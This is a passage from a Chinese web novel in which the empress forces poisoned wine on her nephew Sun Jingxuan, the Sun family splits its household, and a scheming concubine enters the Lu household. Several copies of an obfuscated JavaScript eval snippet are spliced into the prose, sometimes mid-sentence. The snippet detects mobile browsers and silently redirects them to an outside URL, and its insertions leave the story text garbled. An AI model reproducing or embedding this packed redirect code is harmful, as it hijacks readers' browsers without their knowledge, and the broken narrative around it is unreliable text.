同时,萧宝珠也开了口,“母后近日清瘦许多。” 二人同时愣住。 孙皇后微微笑了笑,“母后身子素来如此。倒是你,以往脸上的肉都没了。” 萧宝珠也笑,“母后不是说,女子当以瘦为美吗?以往我那样太胖了,现在这样刚刚好。” 孙皇后轻声道:“你以往,挺好的,是母后不好。” 她的声音太轻,萧宝珠没有听清,孙皇后却转开了话题。 “母后刚知道那件事,你受苦了。” 萧宝珠心尖一颤,一股异样的情绪在心头流淌。 母后这是在,心疼自己吗? 萧宝珠有些不敢奢望,生怕自己想多了。 “怪我自己,不该整日往宫外瞎跑,更不该随意轻信旁人。” 孙皇后心头一涩。 这是自己以往常对她说的话。 但凡遇到任何事,自己总是会下意识责怪宝珠做事不小心。 而今,宝珠自己说出这话,孙皇后只觉得心头发涩。 “是旁人有意算计,你就算躲过了这一次,也难防下一回。唯有斩草除根,方能永绝后患。” 她说这话时,眼底闪过一抹狠厉。 那是萧宝珠从未在她的脸上看到过的情绪。 第249章 鸩酒赐死 孙皇后很快调整了神色。 “宝珠,以往是母后做得不对,往后,母后不会再逼着你嫁给孙家人,也不会逼着你嫁给其他人。” 萧宝珠听了这话,张大了嘴巴,一时没有反应过来。 母后竟然向她低头道歉?这可真是破天荒地头一回。 她还没反应过来,孙皇后就又道:“你若实在心仪那蒋南笙,母后会想法子促成此事。” 萧宝珠总算回神,连忙把脑袋摇成了拨浪鼓。 “不不不,母后,我与她不是那种关系,我不可能嫁给她,她也不可能娶我的。” 孙皇后脸上露出困惑不解,还有些怀疑。 “你当真不心仪他?” 萧宝珠继续用力摇头,更是指天发誓,“我们只是无话不谈的好朋友,绝无半分绮念,若我当真想嫁她,早就求到父皇跟前去了。” 萧宝珠实在是怕了。 母后已经乱点了一次鸳鸯谱,可别再来一次。 孙皇后认真地打量萧宝珠的表情,确定她神情不似作假,这才打消了念头。 “也罢,你的亲事,便由你自己做主吧,母后就不掺和了。” 萧宝珠看着这样的孙皇后,不禁浑身别扭。 她心中冒出一个大不敬的念头,母后该不会是吃错药了吧?这么好说话。 母女俩实在生疏,孙皇后身子也有些支撑不住,便不再久留。 萧宝珠目送孙皇后离开,秦嬷嬷忍不住面露欢喜,“公主,您瞧见没有,皇后对您也是关心的。” 萧宝珠心头复杂。 她的确感受到了母后态度的变化,这是她以往一直期盼着的,但现在真的实现了,她却并没有想象中高兴,反而有股淡淡的释然。 母后关心她,她也高兴,但已经不再似以往那般患得患失。 现在的她,已经看开了。 翌日,孙皇后低调出宫,去了孙家。 今日孙家三房难得齐聚一处,孙牧之再得重用,最迟明后日就要出发,孙老夫人便抓紧机会对他示好笼络一二,话里话外无不是让他莫要忘本云云。 而大房二房的人,心里简直酸得不行。 孙成海心中更不是滋味。 自己儿子曾被寄予厚望,但却无所建树,还闯下大祸。 这三房的养子,反倒成了孙家最有出息的后辈,他也不得不重新调整自己对待对方的态度。 就在这时,门房匆匆前来通禀,孙皇后来了,一家子顿时又惊又喜。 他们都以为这是一场转机,殊不知,这却是孙家更大的一场劫难。 孙皇后没有去正院向孙老夫人请安,而是直奔**阁而去。 她带来了一杯鸩酒,赐给了孙景轩。 他必须要为自己犯下的错付出代价。 孙景轩吓得面色煞白。 “姑,姑母,您,您对我是不是有什么误解?” 孙皇后看他的眼神很冷,似在看一个**。 “你自己做了什么,自己心里清楚。是体面些,自己喝,还是让我派人给你灌?” 孙景轩连连摇头,慌乱到了极致。 “姑母,您不是最疼我的吗?您怎么这么对我?” “是啊,曾经我的确是最疼你的,可你是怎么回报我的呢?你一再算计宝珠,要害她性命,我倒是想看看,你的心肝,真的是黑的吗?” “不不不,不是的,没有,这都是误会……” 孙皇后不再听他多说,直接下令强灌。 这时,孙家众人赶来了。 大夫人周氏扑上去阻拦,孙景轩也似抓到了救命的稻草,慌慌张张地向母亲求助。 得知孙皇后竟然要赐死孙景轩,周氏难以置信,顾不上所谓尊卑,直接高声质问,“皇后,景轩做错了什么,你要如此对他?” 孙皇后目光凌厉,“他勾结外人屡次谋害公主,本宫赐死他,难道不应该?” 周氏根本不信,“景轩好端端地在家里养伤,何时有机会勾结外人?这是污蔑!” 孙皇后把证据甩在她的脸上,“这是皇上的龙鳞卫亲自查到的,难道还会有假?他犯下的,本就是抄家灭族的重罪!蒋家的下场,你们看到了吗?若非皇上尚且给我这个皇后一点脸面,孙家早就落得和蒋家一样的结局,还轮得到你们在本宫跟前大呼小叫!” 屋中顿时死一般的寂静,每个人脸上都是惊疑与灰败。 而孙景轩也半个反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15302471|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之词都说不出来。 孙牧之周身则是笼上了一层森然的冷意,周身气场沉得吓人。 “给本宫灌!” 周氏还要再阻拦,被孙皇后带来的人拦住,孙老夫人哭求孙皇后手下留情,她都不为所动,鸩酒灌到了孙景轩的喉咙里。 不出一刻钟,孙景轩便七窍流血而亡,到死,他的眼睛都没能闭上。 周氏伤心欲绝,孙老夫人也痛哭出声,孙皇后的面上一片冷意。 “每个人都要为自己的所作所为付出代价,若他不愿意,就只能由孙家上下所有人代他受过。你们愿意吗?” 二夫人白氏立马摇头,“当然不愿意!这是孙景轩惹出来的祸事,要担责也是大房,与我们二房何干?” 周氏恶狠狠剜向白氏,白氏却根本不怕。 她说的本就是事实。 白氏追问,“那,那孙景轩已经被赐**,我们其他人,应该就没事了吧?” 她不关心孙景轩的死活,只关心二房会不会受牵连! 孙皇后冷冷道:“若这只是初犯,或许可以。但这已是第二次,他的一条命,能平息得了皇上的怒火吗?” 这话让众人的脸色又添几分惨白。 白氏心存侥幸,“这,皇上不是还重用了牧之吗?想来皇上对事不对人,不会牵连到我们其他人的身上才是。” 这话提醒了众人,孙牧之的确得了皇上重用,这也让大家心头燃起希望。 孙皇后看了孙牧之一眼,“他与你们不同,他救了宝珠两次。” 白氏立马道:“我们都是一家人,他的功劳自然就是我们的功劳。” 这话说得不要脸,孙皇后都差点听笑了。 “你们与孙景轩亦是一家人,他闯下的祸事,自然也要由你们连坐。” 白氏心头一阵发凉,说不出话来。 孙皇后看着自己的所谓家人,最后落在孙成海的身上。 “兄长,孙家的结局究竟会如何,就看你自己的决断了。” 孙成海此时已经完全顾不上丧子之痛,相反,他对孙景轩这个儿子生出了深深的怨怪。 他可真是自己的好儿子啊,**都要留一个烂摊子给自己。 第250章 分家 一番痛苦煎熬,孙成海终于艰难地做出了决定。 “我会主动辞官,并捐出孙家全部的家财,只求皇上能网开一面。” 白氏瞪大了眼。 孙家尚未分家,孙家全部的家财,自然是大家的。 全部捐出去了,他们二房喝西北风去吗? 孙老夫人一时也没法接受,“成海,当真要如此吗?景轩已然没了,皇上看在皇后的面子上,定然也会对孙家留两分情面。” 孙皇后听了这话,唇角勾起一抹嘲讽。 “母亲觉得,皇上对我这个皇后,还有多少情分可言?我言尽于此,究竟该如何取舍,你们自己做决断吧。” 说完,她便不再多言,径直离开了。 她没有心思听他们互相攀扯。 她一走,整个孙家就陷入了一场前所未有的兵荒马乱。 周氏在哭,哭自己死去的儿子。 白氏在哭,哭自己即将失去的荣华富贵。 孙老夫人也在哭,哭自己晚年生活的变故与凄惨。 孙成海被她们哭得头皮发麻,他又何尝舍得?但他不敢大意。 他上次亲眼见证了德丰帝的怒火,这一次,孙家若不主动断腕,只怕真的要步蒋家的后尘。 “母亲,钱财到底是身外之物,我们还是保全自身最是要紧。” 白氏立马反驳,“我不同意!这件事是孙景轩闯下的祸事,理应由你们大房负责,凭什么要牵连到我们二房的身上?” 他说得轻松,钱财全都捐出去,以往的风光日子如**系?甚至,他们连这一家子奴仆都养不起。难道要她亲自去做那些粗活?简直是痴人说梦。 孙成海看着这个妯娌,面上带上几分怒容。 偏他那二弟是个妻管严,全程缩在白氏后头,一句话都不敢说。 孙老夫人固然舍不得钱财,但方才儿子的话也说得没错,还是保全自身要紧。 她摆出婆母的架子,“白氏,眼下孙家大难当前,一家人当齐心协力,共渡难关。若不然,孙家被皇上清算,你也落不到好。” 孙二老爷孙文海面露松动,扯了扯白氏。 钱再重要,也没有命重要。 白氏的面皮抖动,心中涌起一股强烈的不甘。 凭什么? 凭什么他们什么都没有做,却要被大房牵连? 白氏一把甩开他,语气铿锵地甩出一句话。 “分家,现在就分家!大房的事与我们无关,也休想要我们出一个铜板。” 孙老夫人气得脸色大变,指着她的手都在颤抖。 “你你你,你反了天了不成,我这老婆子还没死呢,你就敢提分家!” 白氏心想,你这老婆子早就该**。 “不管你们同不同意,我都要分家!如果你们不同意分家,我就要和离,我回娘家去!” 孙文海闻言瞬间急了,一把抓住白氏的胳膊,“怎么能和离?我不同意!” 白氏再次甩开他,“继续留在你们孙家,怕是连命都要没了,你们当我傻?要么分家,要么和离!我的嫁妆全都带走,你们休想占我半点便宜。” 孙老夫人被白氏气得心梗,“你个泼妇,你既然那么迫不及待地想走,那就走,我们孙家庙小,容不下你这尊大佛!” 谁料,孙文海第一个站出来反对,“不行!母亲,儿子与白氏夫妻十几年,感情甚笃,儿子离不开她。” 方才他跟鹌鹑似的一句话不说,这会儿倒是硬气起来了。 孙老夫人被这个儿子拆台,气得脸色更加难看。 “你个没出息的玩意儿,怎么,没了白氏你就不活了?” 孙文海窝窝囊囊地点头,末了还小声嘀咕,“儿子觉得白氏说得也没错,大房的事,凭啥牵扯到我们二房身上?树大分枝,咱们家,也是时候分家了。” 孙成海怒视着他,“二弟,咱们兄弟一场,大难临头,你就丝毫不顾及我们的兄弟情分,只想明哲保身?” 孙文海理直气壮,“大哥你也没顾及我们的兄弟情分啊,你若顾及的话,就不应当牵连我们才是。” 白氏再次重申立场,“反正这个家,今日必须得分!” 周氏双目通红,眸底含着恨。 “你们以为分出去了,就能全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15302472|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而退吗?皇上若当真震怒,可不会管我们到底有没有分家。” “不管能不能全身而退,我们都必须分家,若再不分家,谁知道下次会不会又被你们大房的谁牵连,惹上一身腥。” 白氏的话说得刻薄,态度亦十分强势。 孙文海又龟缩到了她的身后,一个劲地点头,当起应声虫。 一直没有说话的甄氏突然开了口。 “我也赞同分家。” 她的声音不大,但却异常坚定,带着一丝不容置疑。 所有人都看向她,孙老夫人的眼神阴鸷,带上一丝摄人的意味。 “甄氏,你再说一遍!” 甄氏迎视着孙老夫人的目光,并无畏惧。 “母亲,我说,我也赞同分家。三房与大房二房素来不是一条心,早就该分出去了。” 甄氏这话说得冷硬,与孙老夫人表面的平和也彻底打破了。 这么多年,她一直事事忍让。 这一次,她不想再忍了。 就算不为她,也要为阿牧着想。 孙牧之看着母亲,心头升起一丝微微的暖意。 母亲或许不知道,今日的分家之事,有他在背后推波助澜的手笔。 他马上就要离开京城,实在不放心让母亲独自一人留在孙家。 若能在离开之前,把家分了,让母亲关起门来自己过自己的日子,那就再好不过。 但分家不易,他得有帮手,也得找到合适的契机。 契机很快就来了。 不仅德丰帝在调查孙景轩,孙牧之也怀疑他。 自己这个堂兄秉性如何,他比谁都清楚。 萧宝珠出事,他身上有莫大的嫌疑。 一番调查,果然印证了这一点。 他还发现了德丰帝也派了人在调查此事。 是以,他事先让人给白氏透了些口风,白氏自私自利,但凡遇到半点风波,定然会毫不犹豫地撇清。 孙牧之没想到的是,孙皇后会亲自来赐毒酒。 此举更加刺激到了二房,白氏果然提了分家。 二房态度坚决,不肯让步,分家的计划算是成功了大半。 第251章 会让您过上好日子 对于母亲的态度,孙牧之既惊讶,也不惊讶。 惊讶的是,母亲性情素来温和柔顺,从不与人起冲突,更不会主动强势地去争取什么,她今日违逆了祖母,坚定地赞同分家,与她往日性情大相径庭。 而不惊讶的,母亲为了他们母子的未来,总是能强势起来。 便似十几年前,母亲为了让他上孙家族谱所做的努力。 孙老夫人气得站立不稳,“好好好,你们一个个的,都好样的,我这老婆子,在你们眼里都是**了是吧!” 白氏和甄氏没说话,倒像是默认了这话,孙老夫人下不来台,面皮狠狠抖动。 孙成海和周氏没想到二房和三房都提出分家,大房一下就陷入了孤立无援之境,二人脸色一时十分难看。 他们自是不想分家的,真的分了,大房出事,可就没人能拉一把了。 孙牧之若在西平立了功,他们大房也没了沾光的机会。 孙定海放缓语气,“两位弟妹,眼下**是有难之时,大家合该齐心协力,一起共渡难关才是,我们怎能自己内部就先乱起来了?待此劫顺利度过,我们再谈分家之事也不迟。” 白氏冷笑一声,“谁知道这次能不能逃过一劫?我们可没理由陪着你们担风险。” 孙定海忍着气,看向孙文海,他眼神闪躲,直接避开了目光对视。 这番态度,已然说明了一切。 孙老夫人放狠话,“我不同意分家,你们一个也别想分出去。” 白氏立马转向孙文海,“和离!现在马上和离!老娘可不在这火坑里待。” 孙文海自是不同意。 他转而到孙老夫人跟前哭求,态度强势,一定要分家。 “母亲,您心里眼里不能只有大哥,也要为儿子想想啊。” 孙文海不依不饶,对孙老夫人纠缠不休,大房二房闹作一团,三房反倒置身事外,看了一场好戏。 白氏开始翻旧账,还把孙家以往的秘辛往外抖,孙老夫人额角青筋直跳,最后无法,不得不松口了。 “分了家,你们就要立马从这孙府搬出去,你们可得想好了!” 白氏立马道:“我马上就搬,绝对半刻都不耽误。” 甄氏也跟着表态,二人皆是避之不及的态度,孙老夫人心头梗了一口气。 在二房的全力推动之下,分家之事马不停蹄地开始了。 白氏觉得,分再多钱财给大房,最后也得尽数上交朝廷抵罪,还不如分给他们二房。 孙老夫人也提议多分给二房,待此事了结之后,二房再把钱财还给大房。 但白氏却不乐意了,进了她的口袋的银子,还想让她拿出来?那简直是痴人说梦。 周氏也不信任白氏,扬言就算捐给朝廷,也不会让白氏多拿他们的一个铜板。 双方争得面红耳赤,孙老夫人捂着胸口,气得几乎晕厥过去。 三房本就是边缘的一房,他们全程都没有开口,只任由大房和二房争吵,但没想到矛头也指向了他们。 周氏和白氏提出,让孙牧之把此前所得的赏赐拿出来分,直接被孙牧之拒绝了。 “这是皇上给我的赏赐,不是给孙家的。两位伯母若是想要,不妨先去问问皇上,这些东西的归属问题。” 孙牧之的强势态度把两人都噎了一下。 她们到底忌惮孙牧之,不敢再继续纠缠。 三房最后只分到了少得可怜的东西,而这也在他们的预料之中。 能护住他们原本的东西,逃离这个牢笼,于他们而言,已是最好的结局。 孙牧之和甄氏母子二人回了紫霄院,一声吩咐下去,翠萍开始麻溜地收拾东西,欢喜极了。 原本她还担心三少爷离开京城之后,他们三房更加被苛待,现在好了,可算是能分出去单过了。 甄氏心头的阴霾也散了大半,她没想到,自己一直担心的分家问题,竟然那么轻易就解决了。 一切顺利得令人恍惚。 只是,他们突然搬出去,住的地方只怕不好找。 谁知,孙牧之却道:“前些时日,儿子在金水河巷买了一间两进的小宅子,地方不大,但暂时也够住了,待儿子从西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309060|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平回来,再给您换大宅子。” 原本他的经济上并不宽裕,但上次皇上赏了不少金银,他立马就开始看起了宅子。 从他懂事起就暗自下定决心,待他有了能力,定要带母亲离开孙家。 彼时,他还不知道何时能名正言顺地离开,只是先把宅子准备好了,让他们母子能免于后顾之忧。 没想到,那么快,那宅子就派上用场了。 甄氏惊得瞪大了眼。 孙牧之握着她的手,语气坚定,“母亲,我说过,会让您过上好日子,就定会说到做到。” 甄氏的心头涌起一股激动与欢喜,眼眶更是不受控制地泛起潮热。 当初她拼尽全力救回来,精心护着的孩子,长大了,已然能为自己遮风挡雨了。 孙家花了一日的时间快速分家,二房和三房也很快搬了出去。 翌日,孙成海在朝堂上当堂忏悔自己教子无方,愿自请辞官,并捐出全部家产,以抵罪责,盼皇上从轻发落。 堂上众臣听得此间内情,俱是目瞪口呆。 这孙家当真是胆大包天啊,前头才连累了九公主险些遇害,这次还不吸取教训,还敢再犯,他们是嫌自己的命太长了啊。 德丰帝没有开口,孙成海觉得自己的头上似有一把刀高高挂着,随时要往下落。 半晌,德丰帝道:“孙景轩数次意图谋害公主,此乃抄家灭族的重罪,朕若轻易饶过,皇室的威严何在?又如何能震慑宵小之徒?日后,旁人岂不有样学样?” 孙成海闻言,后背瞬间渗出一片冷汗。 他再次重重叩首,“是微臣教子无方,微臣罪该万死,但,孙家的其他人是无辜的,请皇上看在皇后娘娘的份儿上,网开一面吧!” 德丰帝神色意味不明,“若非看着皇后的面上,你觉得你还有机会跪在这里说话吗?孙爱卿,上次,朕给过你们机会了,但你们不知珍惜啊。” 孙成海心中被绝望淹没,后背已彻底打湿。 孙家拿出的这个筹码,还不够。 到底要怎样,才能保全孙家? 第252章 秋姨娘 他还有两个庶子,那是他的血脉,断不想就此彻底断送了去。 孙成海颤颤巍巍地抬头,对上了德丰帝那充满威仪的眼神,那眼底,俨然带着杀意。 孙成海身子一软,心底最后一丝侥幸,也熄灭了。 帝王之怒,要用鲜血才能平复。 而孙景轩一人之血,还不够分量。 他重重磕头,悲怆地高声痛哭,“微臣管教无方,这才让逆子犯下重罪,微臣愿以死谢罪,只求皇上能对孙家从轻发落!” 说完,他眼底闪过一抹决绝,直接朝着旁边的柱子撞去。 他存了死志,这一撞,瞬间鲜血四溅,当场咽了气,大殿中立时弥漫着一股浓重血腥。 众臣一阵哗然。 这时才有大臣站了出来,替孙家说话,请皇上能网开一面,宽恕无辜妇孺。 其他大臣也陆续站出来求情。 德丰帝叹息一声,“孙爱卿如此刚烈,也实属令朕始料未及。诸位爱卿所言也的确有几分道理,孙景轩固然可恶,但孙家其他人却是无辜的,朕便不做重罚了,只盼孙家人能谨记此次教训,尔等亦要以此为戒,好生约束好自家后辈,若再有纵子行凶者,朕必不再轻饶!” 众臣齐齐跪地,谨记皇上训诫。 下朝后,德丰帝看着自己案前那份请罪书。 那是孙皇后早前递上来的,她自请禁足佛堂,为大齐的繁荣昌盛祈福,不再踏出半步。 德丰帝淡淡开口,“传朕旨意,皇后既有心为大齐祈福,朕便允了。” 原本孙皇后便不管后宫庶务,而今她自请入佛堂,对后宫并无任何影响。 孙家已是秋后的蚂蚱,蹦跶不起来,看在孙皇后的面子上,德丰帝便轻轻抬手,就此揭过了。 孙成海的尸体被抬回孙家,周氏和孙老夫人齐齐晕了过去。 短短两日,孙家连出两条人命,原本气派的门庭瞬间笼上一层灰败之气。 兴旺与衰败的分水岭,从此刻便已划定。 孙家的变故,再次在京中掀起阵阵波澜,一众朝臣都对自家儿孙更加严加约束,不敢让对方出去惹祸。 不然,他们可没有皇后的脸面做筹码。 萧宝珠知道孙家的结局,心头不禁涌起阵阵复杂。 母后竟然亲手给孙景轩赐了毒酒。 她对孙家,终于彻底失望了,清醒了。 而她自请到佛堂禁足,萧宝珠的心境也很平和。 对于母后来说,这或许是一种最适合的结局。 跟这些相比,萧宝珠反而更关心孙家三房。 得知他们分了家,已经单独搬了出去,萧宝珠真心替他们感到高兴。 她现在不被允许出宫,便派人送了一份乔迁礼,聊表心意。 与乔迁礼一道送去的,还有一封单独给孙牧之的书信。 孙牧之急忙拆开,心中的欢喜期盼,在读罢信上的内容之后就瞬间凝固了。 原来,她是为了蒋南笙。 蒋南笙在西平,下落不明,萧宝珠托他帮忙寻找一二,再把蒋家的情况告知对方。 心中虽然涌起阵阵酸涩,孙牧之还是把那封信小心翼翼地收起,放好。 只要是她所求,不论是刀山火海,自己都要做到。 她便是要自己的命,自己也会引颈就戮。 翌日,平疫物资准备就绪,大军整装出发。 楚翊安原本意气风发,觉得自己是此次平疫大军的头领,但没想到又冒出孙牧之这么个护军中尉,还率了一千人。 虽然自己手底是三千人,但自己的人是步兵营的寻常士兵,对方手中的却是训练有素的御林军,完全没法比。 更糟心的是,连蒋老太医和蒋家的几位老爷也以戴罪之身一并前往西平。 功劳一共就这么点,现在却有这么多人等着瓜分。 楚翊安的心情笼上几分阴霾。 无论如此,他都要立下头功,任何人都休想把他的功劳抢走! 平疫大军出发,天气也一日日热了起来。 有老臣进言,西平疫情在前,京中婚嫁喜宴等应当例行节俭,德丰帝允了。 所以,原本应该风光大办的吴王婚事,因此削减了一半用度,办得潦草许多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309061|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所谓潦草,也是相对而言, 到底是亲王,再潦草也不可能失了亲王的体面。 但萧晏清和卢诗音依旧气得脸色难看。 尤其是卢诗音,她此前无比期盼这场亲事,而今盼来盼去,就盼来了这么个结果,她如何能不气闷? 日后旁人提起,也会笑话她。 太庙祭祖时,萧晏清被罚,成婚这么大的事也办得潦草,连那病秧子的亲事都比不上,萧晏清心里自然也十分不痛快。 加上卢诗音也并非萧晏清心甘情愿娶的王妃,她的脸还被毁了,萧晏清的心情更加不虞。 令他意外的是,卢诗音的脸竟然好了。 原本脸上那骇人的伤口,此时竟是半点痕迹都没了,在烛光的映照下,她倒是也带着几分别样姿色,萧晏清的脸色这才和缓几分。 卢诗音也暗暗庆幸,自己得了赵书宁那药。 这段时日,她为了尽快让脸上的伤恢复如初,刻意加大了用量。 幸好,赶在成婚前痊愈了。 从这一点上,卢诗音无比佩服和感激赵书宁。 看着眼前俊朗的男人,卢诗音悄悄红了脸。 “殿下,妾身服侍您就寝吧。” 萧晏清也没有拒绝,红浪翻飞,二人度过了一个算得上完美的夜晚。 陆知苒对他们的亲事并不关心在意,但另一件事,却叫她不得不在意,因为这件事发生在自己父亲的身上。 陆贯轩从外头带回来了一人。 一个女子。 那女子不过二八年纪,生得娇艳无双,妩媚动人,腰肢盈盈不足一握,行走间步态摇曳生姿,便是女子见了,也忍不住多看两眼,可称人间尤物。 此女被陆贯轩抬为了姨娘。 金嬷嬷出去打听一圈,很快就摸清楚了对方的来路。 “这位名叫秋篱,是老爷在茶楼喝茶的时候遇到的,唱小曲儿的,说是家中遭难,自小在师父手底下学手艺,吃了不少苦头。今儿个唱曲儿的时候被客人刁难,不小心摔到老爷的身上,向老爷求助,老爷见之欢喜,便把人带了回来。” 第253章 好戏要开始了 陆知苒听罢,微微挑了挑眉。 这番说辞,她真是一个字都不信。 “往深里查一查,究竟是谁安排的。” 陆知苒心中已然有了怀疑的人选,但总要查证一番。 此事交给霜华去办,她很快就有了回信。 “小姐,奴婢查到了,是方家安排的。” 陆知苒闻言,目露了然。 果然不出所料。 方氏从家庙回来之后,就一直老老实实地待在自己的知春苑,浑似个隐形人,但陆知苒知道,她不可能真的老老实实,什么都不做。 她自己暂时出不来,便找了个帮手。 陆贯轩不算好色,但现在他急需子嗣,最近收用了好几个丫鬟,都抬为了姨娘。 秋篱姿色绝佳,出现的时机也刚刚好,陆贯轩见了自然心动,愿意为对方一掷千金。 金嬷嬷有些担忧,“小姐,那狐狸精是夫人弄进门的,她定是夫人的左右手,咱们不得不防。” 陆知苒很淡定,“无妨,她的目标不是我。” 丹烟有些不解,“那她的目标是谁啊?” 翠芙倒是猜到了,“是不是紫鹃姨娘?” 陆知苒点头。 “我是未来瑾王妃,方氏除非有法子毁掉我的亲事,不然父亲都会保我,她不会让秋姨娘做这无用功。而紫鹃才是她现在最恨,也最欲除之后快之人。” 丹烟挠着脑袋,面上依旧有些不明白,“可是紫鹃姨娘的肚子里有孩子,夫人有前科,她敢轻易动手,老爷怕是要第一个怀疑她。若是让秋姨娘动手,在子嗣面前,老爷只怕也不会放过她。” 陆知苒脑中闪过一个猜测,但她没有急着说出来。 “方氏是个精明人,她只要动手,就必会想到万全之策,不会连这个都考虑不到。霜华,你去查一查这位秋姨娘的身份。” 霜华立马应下。 秋篱进府之后,一直很老实本分,只在自己的陶然居,不与人交际,也不惹事,一心一意伺候陆贯轩。 陆贯轩被她伺候得浑身舒爽,心情也肉眼可见地好了起来。 转眼过了大半个月,秋篱盛宠不衰,而她们担心的所有事情都没有发生,整个陆家后宅都风平浪静,好似先前的猜测都是她们多想了。 但陆知苒查到的消息却表明,这位秋姨娘可没有那么简单。 近日,秋篱开始出现身子不适之症。 这可把陆贯轩着急坏了,立马安排府医**发为其诊治。 一个小小的不适之症,**发诊治了数日却毫无进展,反倒越拖越严重了,陆贯轩对**发的医术生出了十二分的不满。 最后,反而是从外头请回了一位大夫,开了方子,这才把秋姨娘的病治好了。 陆知苒待在自己的院子里,足不出户,但对外面发生之事却了如指掌。 “都安排好了吗?” “小姐放心,都安排妥当了。” 陆知苒唇角勾起一抹淡笑,好戏很快就要开唱了。 中午,陆知苒正在用午膳,就有下人匆匆来禀。 “大小姐,出事了!” 陆知苒挑眉,“何事这般慌慌张张?” “秋姨娘要把李大夫送去见官,偏这时,紫鹃姨娘动了胎气,要请李大夫前去诊脉,秋姨娘不肯放人,双方吵起来了。” 陆知苒放下筷子,慢条斯理地洗手净面之后,方起身往外走去。 “秋姨娘为何要把李大夫送去见官?” “是秋姨娘从外头请回来的那位杨大夫,他说先前李大夫给秋姨娘开的方子有问题,那里头掺了害人的东西,所以她先前才一直吃了不见好。” 陆知苒赶到陶然居时,双方丫鬟依旧争执不休,府医**发被两个粗壮婆子反剪着双手,动弹不得。 紫鹃的丫鬟翠玉急得跳脚,见到陆知苒,她急忙上前行礼。 “大小姐,您快救救我家姨娘吧,我家姨娘不小心动了胎气,眼下正需要李大夫前去诊治,这位秋姨娘却抓着李大夫不放,她分明就是想害我家姨娘腹中的孩子。” 陆知苒目光扫视院中众人,冷声下令,“把李大夫放了。” 秋篱的丫鬟百香草草向陆知苒行礼,“大小姐,您有所不知,我家姨娘险些被这庸医害死,拦着不让他给紫鹃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311080|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘诊治,也是为了她好。” “什么阿猫阿狗,也轮得到你在我面前说话?来人,掌嘴!” 丹烟立马上前,抡起手就啪啪给了对方好几个耳光,百香被打得人都懵了。 她双眸泛起泪光,一副敢怒不敢言的模样。 这时,屋中的人终于出来了。 见到来人,所有人的眼睛都不禁为之一亮。 眼前之人生得实在太美了。 眸含秋水,肤若凝脂,身形窈窕婀娜,步态生莲,举手投足间,都别有风姿。 难怪老爷见了她就要把她赎回来,这样的尤物,世间有几个男人能抵挡得住? 翠芙和丹烟的反应没有其他**。 这秋姨娘美则美矣,但到底透着股轻浮与风尘之气,岂能与自家小姐相提并论? 她们小姐才是真正秀外慧中的美人儿。 秋篱走到陆知苒面前,朝她款款行了一礼。 “妾身见过大小姐,是奴婢没有管束好下人,这李大夫……罢了,大小姐既然信任他,妾身也不便阻拦。放人吧。” 她一开口,两个婆子立马便松开了**发。 翠玉重重哼了一声,也不敢耽搁,与**发脚步匆匆地离开了。 这时,陆贯轩恰好赶了回来。 他满脸焦急,上下打量着秋篱,“篱儿,你怎么样?身子可还有什么不适?” 秋篱露出一抹娇柔之态,“老爷,妾身没事,一点小事,怎么惊动了您?” 陆贯轩看着她,眼神满含温柔,“怎么就是小事?你的身子就是最大的大事。” 秋篱面上飞上一抹红霞,眼神往陆贯轩身上轻轻一勾,便叫他的骨头立时酥软下来。 “父亲。” 陆知苒的声音来回了陆贯轩的绮念,他这才注意到,陆知苒竟然也在。 他老脸不禁微微一热,只能轻咳一声,努力端出严肃神色。 